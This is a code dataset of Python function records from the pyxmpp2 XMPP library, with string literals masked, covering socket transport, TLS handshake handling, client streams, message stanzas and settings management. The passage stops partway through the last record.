{"signature": "def prepare(self):", "body": "result = HandlerReady()<EOL>logger.debug(\"<STR_LIT>\".format(self._state))<EOL>with self.lock:<EOL><INDENT>if self._state in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>pass<EOL><DEDENT>elif self._state == \"<STR_LIT>\":<EOL><INDENT>self._start_connect()<EOL>result = PrepareAgain(None)<EOL><DEDENT>elif self._state == \"<STR_LIT>\":<EOL><INDENT>self._resolve_hostname()<EOL>result = PrepareAgain(<NUM_LIT:0>)<EOL><DEDENT>elif self._state == \"<STR_LIT>\":<EOL><INDENT>self._resolve_srv()<EOL>result = PrepareAgain(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>result = PrepareAgain(None)<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(self._state))<EOL>return result<EOL>", "docstring": "When connecting start the next connection step and schedule\n        next `prepare` call, when connected return `HandlerReady()`", "id": "f15308:c5:m17"}
{"signature": "def fileno(self):", "body": "with self.lock:<EOL><INDENT>if self._socket is not None:<EOL><INDENT>return self._socket.fileno()<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return file descriptor to poll or select.", "id": "f15308:c5:m18"}
{"signature": "def is_readable(self):", "body": "return self._socket is not None and not self._eof and (<EOL>self._state in (\"<STR_LIT>\", \"<STR_LIT>\")<EOL>or self._state == \"<STR_LIT>\"<EOL>and self._tls_state == \"<STR_LIT>\")<EOL>", "docstring": ":Return: `True` when the I/O channel can be read", "id": "f15308:c5:m19"}
{"signature": "def wait_for_readability(self):", "body": "with self.lock:<EOL><INDENT>while True:<EOL><INDENT>if self._socket is None or self._eof:<EOL><INDENT>return False<EOL><DEDENT>if self._state in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return True<EOL><DEDENT>if self._state == \"<STR_LIT>\" andself._tls_state == \"<STR_LIT>\":<EOL><INDENT>return True<EOL><DEDENT>self._state_cond.wait()<EOL><DEDENT><DEDENT>", "docstring": "Stop current thread until the channel is readable.\n\n:Return: `False` if it won't be readable (e.g. is closed)", "id": "f15308:c5:m20"}
{"signature": "def is_writable(self):", "body": "with self.lock:<EOL><INDENT>return self._socket and bool(self._write_queue)<EOL><DEDENT>", "docstring": ":Return: `False` as currently the data is always written synchronously", "id": "f15308:c5:m21"}
{"signature": "def wait_for_writability(self):", "body": "with self.lock:<EOL><INDENT>while True:<EOL><INDENT>if self._state in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return False<EOL><DEDENT>if self._socket and bool(self._write_queue):<EOL><INDENT>return True<EOL><DEDENT>self._write_queue_cond.wait()<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Stop current thread until the channel is writable.\n\n:Return: `False` if it won't be readable (e.g. is closed)", "id": "f15308:c5:m22"}
{"signature": "def handle_write(self):", "body": "with self.lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self._write_queue))<EOL>try:<EOL><INDENT>job = self._write_queue.popleft()<EOL><DEDENT>except IndexError:<EOL><INDENT>return<EOL><DEDENT>if isinstance(job, WriteData):<EOL><INDENT>self._do_write(job.data) <EOL><DEDENT>elif isinstance(job, ContinueConnect):<EOL><INDENT>self._continue_connect()<EOL><DEDENT>elif isinstance(job, StartTLS):<EOL><INDENT>self._initiate_starttls(**job.kwargs)<EOL><DEDENT>elif isinstance(job, TLSHandshake):<EOL><INDENT>self._continue_tls_handshake()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(job))<EOL><DEDENT><DEDENT>", "docstring": "Handle the 'channel writable' state. E.g. send buffered data via a\nsocket.", "id": "f15308:c5:m23"}
{"signature": "def starttls(self, **kwargs):", "body": "with self.lock:<EOL><INDENT>self.event(TLSConnectingEvent())<EOL>self._write_queue.append(StartTLS(**kwargs))<EOL>self._write_queue_cond.notify()<EOL><DEDENT>", "docstring": "Request a TLS handshake on the socket ans switch\n        to encrypted output.\n        The handshake will start after any currently buffered data is sent.\n\n        :Parameters:\n            - `kwargs`: arguments for :std:`ssl.wrap_socket`", "id": "f15308:c5:m24"}
{"signature": "def getpeercert(self):", "body": "with self.lock:<EOL><INDENT>if not self._socket or self._tls_state != \"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return get_certificate_from_ssl_socket(self._socket)<EOL><DEDENT>", "docstring": "Return the peer certificate.\n\n        :ReturnType: `pyxmpp2.cert.Certificate`", "id": "f15308:c5:m25"}
{"signature": "def _initiate_starttls(self, **kwargs):", "body": "if self._tls_state == \"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>kwargs[\"<STR_LIT>\"] = False<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._socket = ssl.wrap_socket(self._socket, **kwargs)<EOL>self._set_state(\"<STR_LIT>\")<EOL>self._continue_tls_handshake()<EOL>", "docstring": "Initiate starttls handshake over the socket.", "id": "f15308:c5:m26"}
{"signature": "def _continue_tls_handshake(self):", "body": "try:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._socket.do_handshake()<EOL><DEDENT>except ssl.SSLError as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_READ:<EOL><INDENT>self._tls_state = \"<STR_LIT>\"<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._state_cond.notify()<EOL>return<EOL><DEDENT>elif err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_WRITE:<EOL><INDENT>self._tls_state = \"<STR_LIT>\"<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._write_queue.appendleft(TLSHandshake)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>self._tls_state = \"<STR_LIT>\"<EOL>self._set_state(\"<STR_LIT>\")<EOL>self._auth_properties['<STR_LIT>'] = \"<STR_LIT>\"<EOL>if \"<STR_LIT>\" in CHANNEL_BINDING_TYPES:<EOL><INDENT>try:<EOL><INDENT>tls_unique = self._socket.get_channel_binding(\"<STR_LIT>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>self._auth_properties['<STR_LIT>'] = {<EOL>\"<STR_LIT>\": tls_unique}<EOL><DEDENT><DEDENT>try:<EOL><INDENT>cipher = self._socket.cipher()<EOL><DEDENT>except AttributeError:<EOL><INDENT>cipher = \"<STR_LIT>\"<EOL><DEDENT>cert = get_certificate_from_ssl_socket(self._socket)<EOL>self.event(TLSConnectedEvent(cipher, cert))<EOL>", "docstring": "Continue a TLS handshake.", "id": "f15308:c5:m27"}
{"signature": "def handle_read(self):", "body": "with self.lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>if self._eof or self._socket is None:<EOL><INDENT>return<EOL><DEDENT>if self._state == \"<STR_LIT>\":<EOL><INDENT>while True:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._continue_tls_handshake()<EOL>logger.debug(\"<STR_LIT>\".format(self._tls_state))<EOL>if self._tls_state != \"<STR_LIT>\":<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>elif self._tls_state == \"<STR_LIT>\":<EOL><INDENT>while self._socket and not self._eof:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>data = self._socket.read(<NUM_LIT>)<EOL><DEDENT>except ssl.SSLError as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_READ:<EOL><INDENT>break<EOL><DEDENT>elif err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_WRITE:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except socket.error as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == errno.EINTR:<EOL><INDENT>continue<EOL><DEDENT>elif err.args[<NUM_LIT:0>] in BLOCKING_ERRORS:<EOL><INDENT>break<EOL><DEDENT>elif err.args[<NUM_LIT:0>] == errno.ECONNRESET:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>data = None<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>self._feed_reader(data)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while self._socket and not self._eof:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>data = self._socket.recv(<NUM_LIT>)<EOL><DEDENT>except socket.error as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == errno.EINTR:<EOL><INDENT>continue<EOL><DEDENT>elif err.args[<NUM_LIT:0>] in BLOCKING_ERRORS:<EOL><INDENT>break<EOL><DEDENT>elif err.args[<NUM_LIT:0>] == errno.ECONNRESET:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>data = None<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>self._feed_reader(data)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Handle the 'channel readable' state. E.g. read from a socket.", "id": "f15308:c5:m28"}
{"signature": "def handle_hup(self):", "body": "with self.lock:<EOL><INDENT>if self._state == '<STR_LIT>' and self._dst_addrs:<EOL><INDENT>self._hup = False<EOL>self._set_state(\"<STR_LIT>\")<EOL>return<EOL><DEDENT><DEDENT>self._hup = True<EOL>", "docstring": "Handle the 'channel hungup' state. The handler should not be writable\nafter this.", "id": "f15308:c5:m29"}
{"signature": "def handle_err(self):", "body": "with self.lock:<EOL><INDENT>if self._state == '<STR_LIT>' and self._dst_addrs:<EOL><INDENT>self._hup = False<EOL>self._set_state(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self._socket.close()<EOL>self._socket = None<EOL>self._set_state(\"<STR_LIT>\")<EOL>self._write_queue.clear()<EOL>self._write_queue_cond.notify()<EOL><DEDENT>raise PyXMPPIOError(\"<STR_LIT>\")<EOL>", "docstring": "Handle an error reported.", "id": "f15308:c5:m30"}
{"signature": "def handle_nval(self):", "body": "if self._socket is None:<EOL><INDENT>return<EOL><DEDENT>self._set_state(\"<STR_LIT>\")<EOL>raise PyXMPPIOError(\"<STR_LIT>\")<EOL>", "docstring": "Handle an error reported.", "id": "f15308:c5:m31"}
{"signature": "def is_connected(self):", "body": "return self._state in (\"<STR_LIT>\", \"<STR_LIT>\")and not self._eof and not self._hup<EOL>", "docstring": "Check if the transport is connected.\n\n:Return: `True` if is connected.", "id": "f15308:c5:m32"}
{"signature": "def disconnect(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>with self.lock:<EOL><INDENT>if self._socket is None:<EOL><INDENT>if self._state != \"<STR_LIT>\":<EOL><INDENT>self.event(DisconnectedEvent(self._dst_addr))<EOL>self._set_state(\"<STR_LIT>\")<EOL><DEDENT>return<EOL><DEDENT>if self._hup or not self._serializer:<EOL><INDENT>self._close()<EOL><DEDENT>else:<EOL><INDENT>self.send_stream_tail()<EOL><DEDENT><DEDENT>", "docstring": "Disconnect the stream gracefully.", "id": "f15308:c5:m33"}
{"signature": "def close(self):", "body": "with self.lock:<EOL><INDENT>self._close()<EOL><DEDENT>", "docstring": "Close the stream immediately, so it won't expect more events.", "id": "f15308:c5:m34"}
{"signature": "def _close(self):", "body": "if self._state != \"<STR_LIT>\":<EOL><INDENT>self.event(DisconnectedEvent(self._dst_addr))<EOL>self._set_state(\"<STR_LIT>\")<EOL><DEDENT>if self._socket is None:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>self._socket.shutdown(socket.SHUT_RDWR)<EOL><DEDENT>except socket.error:<EOL><INDENT>pass<EOL><DEDENT>self._socket.close()<EOL>self._socket = None<EOL>self._write_queue.clear()<EOL>self._write_queue_cond.notify()<EOL>", "docstring": "Same as `_close` but expects `lock` acquired.", "id": "f15308:c5:m35"}
{"signature": "def _feed_reader(self, data):", "body": "IN_LOGGER.debug(\"<STR_LIT>\", data)<EOL>if data:<EOL><INDENT>self.lock.release() <EOL>try:<EOL><INDENT>self._reader.feed(data)<EOL><DEDENT>finally:<EOL><INDENT>self.lock.acquire()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._eof = True<EOL>self.lock.release() <EOL>try:<EOL><INDENT>self._stream.stream_eof()<EOL><DEDENT>finally:<EOL><INDENT>self.lock.acquire()<EOL><DEDENT>if not self._serializer:<EOL><INDENT>if self._state != \"<STR_LIT>\":<EOL><INDENT>self.event(DisconnectedEvent(self._dst_addr))<EOL>self._set_state(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Feed the stream reader with data received.\n\n        [ called with `lock` acquired ]\n\n        If `data` is None or empty, then stream end (peer disconnected) is\n        assumed and the stream is closed.\n\n        `lock` is acquired during the operation.\n\n        :Parameters:\n            - `data`: data received from the stream socket.\n        :Types:\n            - `data`: `unicode`", "id": "f15308:c5:m36"}
{"signature": "def event(self, event):", "body": "logger.debug(\"<STR_LIT>\".format(event))<EOL>if self._stream:<EOL><INDENT>event.stream = self._stream<EOL><DEDENT>self._event_queue.put(event)<EOL>", "docstring": "Pass an event to the target stream or just log it.", "id": "f15308:c5:m37"}
{"signature": "def __init__(self, jid, stanza_route, handlers, settings = None):", "body": "if handlers is None:<EOL><INDENT>handlers = []<EOL><DEDENT>if settings is None:<EOL><INDENT>settings = XMPPSettings()<EOL><DEDENT>if \"<STR_LIT>\" not in settings:<EOL><INDENT>settings[\"<STR_LIT>\"] = jid.resource<EOL><DEDENT>StreamBase.__init__(self, STANZA_CLIENT_NS, stanza_route,<EOL>handlers, settings)<EOL>self.me = JID(jid.local, jid.domain)<EOL>", "docstring": "Initialize the ClientStream object.\n\n        :Parameters:\n            - `jid`: local JID.\n            - `handlers`: XMPP feature and event handlers\n            - `settings`: PyXMPP settings for the stream\n        :Types:\n            - `jid`: `JID`\n            - `settings`: `XMPPSettings`", "id": "f15309:c0:m0"}
{"signature": "def initiate(self, transport, to = None):", "body": "if to is None:<EOL><INDENT>to = JID(self.me.domain)<EOL><DEDENT>return StreamBase.initiate(self, transport, to)<EOL>", "docstring": "Initiate an XMPP connection over the `transport`.\n\n        :Parameters:\n            - `transport`: an XMPP transport instance\n            - `to`: peer name (defaults to own jid domain part)", "id": "f15309:c0:m1"}
{"signature": "def receive(self, transport, myname = None):", "body": "if myname is None:<EOL><INDENT>myname = JID(self.me.domain)<EOL><DEDENT>return StreamBase.receive(self, transport, myname)<EOL>", "docstring": "Receive an XMPP connection over the `transport`.\n\n        :Parameters:\n            - `transport`: an XMPP transport instance\n            - `myname`: local stream endpoint name (defaults to own jid domain\n              part).", "id": "f15309:c0:m2"}
{"signature": "def fix_out_stanza(self, stanza):", "body": "StreamBase.fix_out_stanza(self, stanza)<EOL>if self.initiator:<EOL><INDENT>if stanza.from_jid:<EOL><INDENT>stanza.from_jid = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not stanza.from_jid:<EOL><INDENT>stanza.from_jid = self.me<EOL><DEDENT><DEDENT>", "docstring": "Fix outgoing stanza.\n\n        On a client clear the sender JID. On a server set the sender\n        address to the own JID if the address is not set yet.", "id": "f15309:c0:m3"}
{"signature": "def fix_in_stanza(self, stanza):", "body": "StreamBase.fix_in_stanza(self, stanza)<EOL>if not self.initiator:<EOL><INDENT>if stanza.from_jid != self.peer:<EOL><INDENT>stanza.set_from(self.peer)<EOL><DEDENT><DEDENT>", "docstring": "Fix an incoming stanza.\n\n        Ona server replace the sender address with authorized client JID.", "id": "f15309:c0:m4"}
{"signature": "def __init__(self, element = None, from_jid = None, to_jid = None,<EOL>stanza_type = None, stanza_id = None,<EOL>error = None, error_cond = None, return_path = None,<EOL>language = None,<EOL>subject = None, body = None, thread = None):", "body": "<EOL>self._subject = None<EOL>self._body = None<EOL>self._thread = None<EOL>if element is None:<EOL><INDENT>element = \"<STR_LIT:message>\"<EOL><DEDENT>elif not isinstance(element, ElementClass):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + repr(element))<EOL><DEDENT>Stanza.__init__(self, element, from_jid = from_jid, to_jid = to_jid,<EOL>stanza_type = stanza_type, stanza_id = stanza_id,<EOL>error = error, error_cond = error_cond,<EOL>return_path = return_path, language = language)<EOL>if self.element_name != \"<STR_LIT:message>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._subject_tag = self._ns_prefix + \"<STR_LIT>\"<EOL>self._body_tag = self._ns_prefix + \"<STR_LIT:body>\"<EOL>self._thread_tag = self._ns_prefix + \"<STR_LIT>\"<EOL>if self._element is not None:<EOL><INDENT>self._decode_subelements()<EOL><DEDENT>if subject is not None:<EOL><INDENT>self.subject = subject<EOL><DEDENT>if body is not None:<EOL><INDENT>self.body = body<EOL><DEDENT>if thread is not None:<EOL><INDENT>self.thread = thread<EOL><DEDENT>", "docstring": "Initialize a `Message` object.\n\n        :Parameters:\n            - `element`: XML element of this stanza.\n            - `from_jid`: sender JID.\n            - `to_jid`: recipient JID.\n            - `stanza_type`: staza type: one of: \"normal\", \"chat\", \"headline\",\n              \"error\", \"groupchat\"\n            - `stanza_id`: stanza id -- value of stanza's \"id\" attribute. If\n              not given, then unique for the session value is generated.\n            - `error_cond`: error condition name. Ignored if `stanza_type`\n              is not \"error\".\n            - `language`: default language for the stanza content\n            - `subject`: message subject,\n            - `body`: message body.\n            - `thread`: message thread id.\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n            - `from_jid`: `JID`\n            - `to_jid`: `JID`\n            - `stanza_type`: `unicode`\n            - `stanza_id`: `unicode`\n            - `error`: `pyxmpp.error.StanzaErrorElement`\n            - `error_cond`: `unicode`\n            - `subject`: `unicode`\n            - `body`: `unicode`\n            - `thread`: `unicode`\n            - `language`: `unicode`", "id": "f15310:c0:m0"}
{"signature": "def _decode_subelements(self):", "body": "for child in self._element:<EOL><INDENT>if child.tag == self._subject_tag:<EOL><INDENT>self._subject = child.text<EOL><DEDENT>elif child.tag == self._body_tag:<EOL><INDENT>self._body = child.text<EOL><DEDENT>elif child.tag == self._thread_tag:<EOL><INDENT>self._thread = child.text<EOL><DEDENT><DEDENT>", "docstring": "Decode the stanza subelements.", "id": "f15310:c0:m1"}
{"signature": "def as_xml(self):", "body": "result = Stanza.as_xml(self)<EOL>if self._subject:<EOL><INDENT>child = ElementTree.SubElement(result, self._subject_tag)<EOL>child.text = self._subject<EOL><DEDENT>if self._body:<EOL><INDENT>child = ElementTree.SubElement(result, self._body_tag)<EOL>child.text = self._body<EOL><DEDENT>if self._thread:<EOL><INDENT>child = ElementTree.SubElement(result, self._thread_tag)<EOL>child.text = self._thread<EOL><DEDENT>return result<EOL>", "docstring": "Return the XML stanza representation.\n\n        Always return an independent copy of the stanza XML representation,\n        which can be freely modified without affecting the stanza.\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15310:c0:m2"}
{"signature": "def copy(self):", "body": "result = Message(None, self.from_jid, self.to_jid,<EOL>self.stanza_type, self.stanza_id, self.error,<EOL>self._return_path(), self._subject, self._body,<EOL>self._thread)<EOL>for payload in self._payload:<EOL><INDENT>result.add_payload(payload.copy())<EOL><DEDENT>return result<EOL>", "docstring": "Create a deep copy of the stanza.\n\n        :returntype: `Message`", "id": "f15310:c0:m3"}
{"signature": "@property<EOL><INDENT>def subject(self): <DEDENT>", "body": "return self._subject<EOL>", "docstring": "Message subject.\n\n        :Returntype: `unicode`", "id": "f15310:c0:m4"}
{"signature": "@property<EOL><INDENT>def body(self): <DEDENT>", "body": "return self._body<EOL>", "docstring": "Message body.\n\n        :Returntype: `unicode`", "id": "f15310:c0:m6"}
{"signature": "@property<EOL><INDENT>def thread(self): <DEDENT>", "body": "return self._thread<EOL>", "docstring": "Thread id.\n\n        :Returntype: `unicode`", "id": "f15310:c0:m8"}
{"signature": "def make_error_response(self, cond):", "body": "if self.stanza_type == \"<STR_LIT:error>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>msg = Message(stanza_type = \"<STR_LIT:error>\", from_jid = self.to_jid,<EOL>to_jid = self.from_jid, stanza_id = self.stanza_id,<EOL>error_cond = cond,<EOL>subject = self._subject, body = self._body,<EOL>thread = self._thread)<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>msg.add_payload(payload.copy())<EOL><DEDENT>return msg<EOL>", "docstring": "Create error response for any non-error message stanza.\n\n        :Parameters:\n            - `cond`: error condition name, as defined in XMPP specification.\n\n        :return: new message stanza with the same \"id\" as self, \"from\" and\n            \"to\" attributes swapped, type=\"error\" and containing <error />\n            element plus payload of `self`.\n        :returntype: `Message`", "id": "f15310:c0:m10"}
{"signature": "def __init__(self, data = None):", "body": "if data is None:<EOL><INDENT>self._settings = {}<EOL><DEDENT>else:<EOL><INDENT>self._settings = dict(data)<EOL><DEDENT>", "docstring": "Create settings, optionally initialized with `data`.\n\n        :Parameters:\n            - `data`: initial data\n        :Types:\n            - `data`: any mapping, including `XMPPSettings`", "id": "f15311:c1:m0"}
{"signature": "def __len__(self):", "body": "return len(self._settings)<EOL>", "docstring": "Number of parameters set.", "id": "f15311:c1:m1"}
{"signature": "def __iter__(self):", "body": "for key in self._settings.iterkeys():<EOL><INDENT>return self[key]<EOL><DEDENT>", "docstring": "Iterate over the parameter names.", "id": "f15311:c1:m2"}
{"signature": "def __contains__(self, key):", "body": "return key in self._settings<EOL>", "docstring": "Check if a parameter is set.\n\n        :Parameters:\n            - `key`: the parameter name\n        :Types:\n            - `key`: `unicode`", "id": "f15311:c1:m3"}
{"signature": "def __getitem__(self, key):", "body": "return self.get(key, required = True)<EOL>", "docstring": "Get a parameter value. Return the default if no value is set\n        and the default is provided by PyXMPP.\n\n        :Parameters:\n            - `key`: the parameter name\n        :Types:\n            - `key`: `unicode`", "id": "f15311:c1:m4"}
{"signature": "def __setitem__(self, key, value):", "body": "self._settings[unicode(key)] = value<EOL>", "docstring": "Set a parameter value.\n\n        :Parameters:\n            - `key`: the parameter name\n            - `value`: the new value\n        :Types:\n            - `key`: `unicode`", "id": "f15311:c1:m5"}
{"signature": "def __delitem__(self, key):", "body": "del self._settings[key]<EOL>", "docstring": "Unset a parameter value.\n\n        :Parameters:\n            - `key`: the parameter name\n        :Types:\n            - `key`: `unicode`", "id": "f15311:c1:m6"}
{"signature": "def get(self, key, local_default = None, required = False):", "body": "<EOL>if key in self._settings:<EOL><INDENT>return self._settings[key]<EOL><DEDENT>if local_default is not None:<EOL><INDENT>return local_default<EOL><DEDENT>if key in self._defs:<EOL><INDENT>setting_def = self._defs[key]<EOL>if setting_def.default is not None:<EOL><INDENT>return setting_def.default<EOL><DEDENT>factory = setting_def.factory<EOL>if factory is None:<EOL><INDENT>return None<EOL><DEDENT>value = factory(self)<EOL>if setting_def.cache is True:<EOL><INDENT>setting_def.default = value<EOL><DEDENT>return value<EOL><DEDENT>if required:<EOL><INDENT>raise KeyError(key)<EOL><DEDENT>return local_default<EOL>", "docstring": "Get a parameter value.\n\n        If parameter is not set, return `local_default` if it is not `None`\n        or the PyXMPP global default otherwise.\n\n        :Raise `KeyError`: if parameter has no value and no global default\n\n        :Return: parameter value", "id": "f15311:c1:m7"}
{"signature": "def keys(self):", "body": "return self._settings.keys()<EOL>", "docstring": "Return names of parameters set.\n\n        :Returntype: - `list` of `unicode`", "id": "f15311:c1:m8"}
{"signature": "def items(self):", "body": "return self._settings.items()<EOL>", "docstring": "Return names and values of parameters set.\n\n        :Returntype: - `list` of tuples", "id": "f15311:c1:m9"}
{"signature": "def load_arguments(self, args):", "body": "for name, setting in self._defs.items():<EOL><INDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>from locale import getpreferredencoding<EOL>encoding = getpreferredencoding()<EOL>name = name.encode(encoding, \"<STR_LIT:replace>\")<EOL><DEDENT>attr = \"<STR_LIT>\" + name<EOL>try:<EOL><INDENT>self[setting.name] = getattr(args, attr)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Load settings from :std:`ArgumentParser` output.\n\n        :Parameters:\n            - `args`: output of argument parsed based on the one\n              returned by `get_arg_parser()`", "id": "f15311:c1:m10"}
{"signature": "@classmethod<EOL><INDENT>def add_setting(cls, name, type = unicode, default = None, factory = None,<EOL>cache = False, default_d = None, doc = None,<EOL>cmdline_help = None, validator = None, basic = False):<DEDENT>", "body": "<EOL>setting_def = _SettingDefinition(name, type, default, factory,<EOL>cache, default_d, doc,<EOL>cmdline_help, validator, basic)<EOL>if name not in cls._defs:<EOL><INDENT>cls._defs[name] = setting_def<EOL>return<EOL><DEDENT>duplicate = cls._defs[name]<EOL>if duplicate.type != setting_def.type:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if duplicate.default != setting_def.default:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if duplicate.factory != setting_def.factory:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Add a new setting definition.\n\n        :Parameters:\n            - `name`: setting name\n            - `type`: setting type object or type description\n            - `default`: default value\n            - `factory`: default value factory\n            - `cache`: if `True` the `factory` will be called only once\n              and its value stored as a constant default.\n            - `default_d`: description of the default value\n            - `doc`: setting documentation\n            - `cmdline_help`: command line argument description. When not\n              provided then the setting won't be available as a command-line\n              option\n            - `basic`: when `True` the option is considered a basic option -\n              one of those which should usually stay configurable in\n              an application.\n            - `validator`: function validating command-line option value string\n              and returning proper value for the settings objects. Defaults\n              to `type`.\n        :Types:\n            - `name`: `unicode`\n            - `type`: type or `unicode`\n            - `factory`: a callable\n            - `cache`: `bool`\n            - `default_d`: `unicode`\n            - `doc`: `unicode`\n            - `cmdline_help`: `unicode`\n            - `basic`: `bool`\n            - `validator`: a callable", "id": "f15311:c1:m11"}
{"signature": "@staticmethod<EOL><INDENT>def validate_string_list(value):<DEDENT>", "body": "try:<EOL><INDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>from locale import getpreferredencoding<EOL>encoding = getpreferredencoding()<EOL>value = value.decode(encoding)<EOL><DEDENT>return [x.strip() for x in value.split(u\"<STR_LIT:U+002C>\")]<EOL><DEDENT>except (AttributeError, TypeError, UnicodeError):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Validator for string lists to be used with `add_setting`.", "id": "f15311:c1:m12"}
{"signature": "@staticmethod<EOL><INDENT>def validate_positive_int(value):<DEDENT>", "body": "value = int(value)<EOL>if value <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return value<EOL>", "docstring": "Positive integer validator to be used with `add_setting`.", "id": "f15311:c1:m13"}
{"signature": "@staticmethod<EOL><INDENT>def validate_positive_float(value):<DEDENT>", "body": "value = float(value)<EOL>if value <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return value<EOL>", "docstring": "Positive float validator to be used with `add_setting`.", "id": "f15311:c1:m14"}
{"signature": "@staticmethod<EOL><INDENT>def get_int_range_validator(start, stop):<DEDENT>", "body": "def validate_int_range(value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>value = int(value)<EOL>if value >= start and value < stop:<EOL><INDENT>return value<EOL><DEDENT>raise ValueError(\"<STR_LIT>\".format(start, stop))<EOL><DEDENT>return validate_int_range<EOL>", "docstring": "Return an integer range validator to be used with `add_setting`.\n\n        :Parameters:\n            - `start`: minimum value for the integer\n            - `stop`: the upper bound (maximum value + 1)\n        :Types:\n            - `start`: `int`\n            - `stop`: `int`\n\n        :return: a validator function", "id": "f15311:c1:m15"}
{"signature": "@classmethod<EOL><INDENT>def list_all(cls, basic = None):<DEDENT>", "body": "if basic is None:<EOL><INDENT>return [s for s in cls._defs]<EOL><DEDENT>else:<EOL><INDENT>return [s.name for s in cls._defs.values() if s.basic == basic]<EOL><DEDENT>", "docstring": "List known settings.\n\n        :Parameters:\n            - `basic`: When `True` then limit output to the basic settings,\n              when `False` list only the extra settings.", "id": "f15311:c1:m16"}
{"signature": "@classmethod<EOL><INDENT>def get_arg_parser(cls, settings = None, option_prefix = u'<STR_LIT>',<EOL>add_help = False):<DEDENT>", "body": "<EOL>parser = argparse.ArgumentParser(add_help = add_help,<EOL>prefix_chars = option_prefix[<NUM_LIT:0>])<EOL>if settings is None:<EOL><INDENT>settings = cls.list_all(basic = True)<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>from locale import getpreferredencoding<EOL>encoding = getpreferredencoding()<EOL>def decode_string_option(value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return value.decode(encoding)<EOL><DEDENT><DEDENT>for name in settings:<EOL><INDENT>if name not in cls._defs:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(name))<EOL>return<EOL><DEDENT>setting = cls._defs[name]<EOL>if not setting.cmdline_help:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(name))<EOL>return<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>name = name.encode(encoding, \"<STR_LIT:replace>\")<EOL><DEDENT>option = option_prefix + name.replace(\"<STR_LIT:_>\", \"<STR_LIT:->\")<EOL>dest = \"<STR_LIT>\" + name<EOL>if setting.validator:<EOL><INDENT>opt_type = setting.validator<EOL><DEDENT>elif setting.type is unicode and sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>opt_type = decode_string_option<EOL><DEDENT>else:<EOL><INDENT>opt_type = setting.type<EOL><DEDENT>if 